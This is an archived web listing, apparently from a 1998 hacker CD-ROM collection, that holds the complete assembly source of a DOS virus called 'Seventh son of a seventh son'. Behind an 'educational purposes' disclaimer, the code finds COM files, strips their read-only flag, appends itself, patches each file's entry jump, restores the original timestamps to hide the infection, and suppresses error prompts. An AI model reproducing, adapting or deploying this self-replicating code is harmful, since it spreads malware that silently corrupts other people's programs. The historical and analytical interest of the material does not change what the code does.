home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / 7son.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  6.6 KB  |  238 lines
  1. ;***********************************************************************
  2. *****
  3. ;*  Seventh son of a seventh son    version 4
  4. ;*
  5. ;*  Compile with MASM 4.0
  6. ;*  (other assemblers will probably not produce the same result)
  7. ;*
  8. ;*  Disclaimer:
  9. ;*  This file is only for educational purposes. The author takes no
  10. ;*  responsibility for anything anyone does with this file. Do not
  11. ;*  modify this file!
  12. ;***********************************************************************
  13. *****
  14.  
  15. cseg            segment
  16.                 assume  cs:cseg,ds:cseg,es:cseg,ss:cseg
  17.  
  18.                 .RADIX  16
  19.  
  20. FILELEN         equ     end - start
  21. MINTARGET       equ     1000d
  22. MAXTARGET       equ     -(FILELEN+40)
  23.  
  24.  
  25.  
  26. ;***********************************************************************
  27. *****
  28. ;*              Dummy program (infected)
  29. ;***********************************************************************
  30. *****
  31.  
  32.                 org     100
  33.  
  34. begin:          db      4Dh                     ;virus mark
  35.                 db      0E9h, 4, 0              ;jump to virus entry
  36.  
  37.  
  38. ;***********************************************************************
  39. *****
  40. ;*              Begin of the virus
  41. ;***********************************************************************
  42. *****
  43.  
  44. start:          db      0CDh,  20h, 0, 0
  45.  
  46.                 cld
  47.                 mov     si,0100h
  48.                 push    si                      ;push new IP on stack
  49.                 mov     di,si
  50.                 add     si,[si+2]               ;si -> start
  51.  
  52.                 push    si                      ;restore original begin
  53.                 movsw
  54.                 movsw
  55.                 pop     si
  56.  
  57.                 mov     ax,3300h                ;get ctrl-break flag
  58.                 int     21
  59.                 push    dx
  60.  
  61.                 cwd                             ;clear the flag
  62.                 inc     ax
  63.                 push    ax
  64.                 int     21
  65.  
  66.                 mov     ax,3524h                ;get int24 vector
  67.                 int     21
  68.                 push    bx
  69.                 push    es
  70.  
  71.                 lea     dx,[si+(offset ni24 - 0104)]  ;set new int24 
  72. vector
  73.                 mov     ah,25h
  74.                 push    ax
  75.                 int     21
  76.  
  77.                 mov     ah,2Fh                  ;get DTA adres
  78.                 int     21
  79.                 push    es
  80.                 push    bx
  81.  
  82.                 add     dx,070h                 ;set new DTA adres
  83.                 mov     ah,1Ah
  84.                 int     21
  85.                 add     dx,1Eh
  86.                 push    dx
  87.  
  88.                 lea     di,[si+(offset generation-0104)]  ;check 
  89. generation
  90.                 cmp     [di],0707h
  91.                 jne     verder
  92.  
  93.                 lea     dx,[di+2]               ;7th son of a 7th son!
  94.                 mov     ah,09h
  95.                 int     21
  96.  
  97. verder:         mov     ax,[di]                 ;update generations
  98.                 xchg    ah,al
  99.                 mov     al,1
  100.                 mov     [di],ax
  101.  
  102.                 lea     dx,[di+33d]             ;find first COM-file
  103.                 xor     cx,cx
  104.                 mov     ah,4Eh
  105. infloop:        int     21
  106.                 pop     dx
  107.                 jc      stop
  108.  
  109.                 push    dx
  110.  
  111.                 xor     cx,cx                   ;clear 
  112. read-only-arttribute
  113.                 mov     ax,4301
  114.                 int     21
  115.                 jc      return1
  116.  
  117.                 mov     ax,3D02h                ;open the file
  118.                 int     21
  119.                 jc      return1
  120.                 xchg    bx,ax
  121.  
  122.                 mov     ax,5700h                ;get file date & time
  123.                 int     21
  124.                 push    cx
  125.                 push    dx
  126.  
  127.                 mov     cx,4                    ;read begin of file
  128.                 mov     dx,si
  129.                 mov     ah,3fh
  130.                 int     21
  131.  
  132.                 cmp     byte ptr [si],4Dh       ;already infected or an 
  133. EXE?
  134.                 je      return2
  135.                 cmp     byte ptr [si],5Ah       ;or a weird EXE?
  136.                 je      return2
  137.  
  138.                 mov     al,2                    ;go to end of file
  139.                 call    seek
  140.  
  141.                 cmp     ax,MAXTARGET            ;check length of file
  142.                 jnb     return2
  143.                 cmp     ax,MINTARGET
  144.                 jbe     return2
  145.  
  146.                 push    ax
  147.                 mov     cx,FILELEN              ;write program to end of 
  148. file
  149.                 mov     ah,40h
  150.                 int     21
  151.                 cmp     ax,cx                   ;are all bytes written?
  152.                 pop     ax
  153.                 jnz     return2
  154.  
  155.                 xchg    ax,bp
  156.                 mov     al,0                    ;go to begin of file
  157.                 call    seek
  158.  
  159.                 mov     word ptr [si],0E94Dh    ;write mark and 
  160. jump-command
  161.                 mov     word ptr [si+2],bp
  162.                 mov     ah,40h
  163.                 int     21
  164.  
  165.                 inc     byte ptr [di]           ;number of next son
  166.  
  167. return2:        pop     dx                      ;restore file date & 
  168. time
  169.                 pop     cx
  170.                 mov     ax,5701h
  171.                 int     21
  172.  
  173.                 mov     ah,3Eh                  ;close the file
  174.                 int     21
  175.  
  176. return1:        mov     ah,4Fh                  ;find next file
  177.                 jmp     short infloop
  178.  
  179. stop:           pop     dx                      ;restore DTA adres
  180.                 pop     ds
  181.                 mov     ah,1Ah
  182.                 int     21
  183.  
  184.                 pop     ax                      ;restore int24 vector
  185.                 pop     ds
  186.                 pop     dx
  187.                 int     21
  188.  
  189.                 pop     ax                      ;restore ctrl-break flag
  190.                 pop     dx
  191.                 int     21
  192.  
  193.                 push    cs
  194.                 push    cs
  195.                 pop     ds
  196.                 pop     es
  197.  
  198.                 ret
  199.  
  200. seek:           mov     ah,42
  201.                 cwd
  202. int21:          xor     cx,cx
  203.                 int     21
  204.                 mov     cl,4
  205.                 mov     dx,si
  206.                 ret
  207.  
  208.  
  209. ;***********************************************************************
  210. *****
  211. ;*              Interupt handler 24
  212. ;***********************************************************************
  213. *****
  214.  
  215. ni24:           mov     al,03
  216.                 iret
  217.  
  218.  
  219. ;***********************************************************************
  220. *****
  221. ;*              Data
  222. ;***********************************************************************
  223. *****
  224.  
  225. generation      db      1,1
  226. sontxt          db      'Seventh son of a seventh son',0Dh, 0Ah, '$'
  227. filename        db      '*.COM',0
  228.                 db      'é¿░│▒'
  229.  
  230. end:
  231.  
  232. cseg            ends
  233.                 end     begin
  234.  
  235.  
  236.  
  237.  
  238.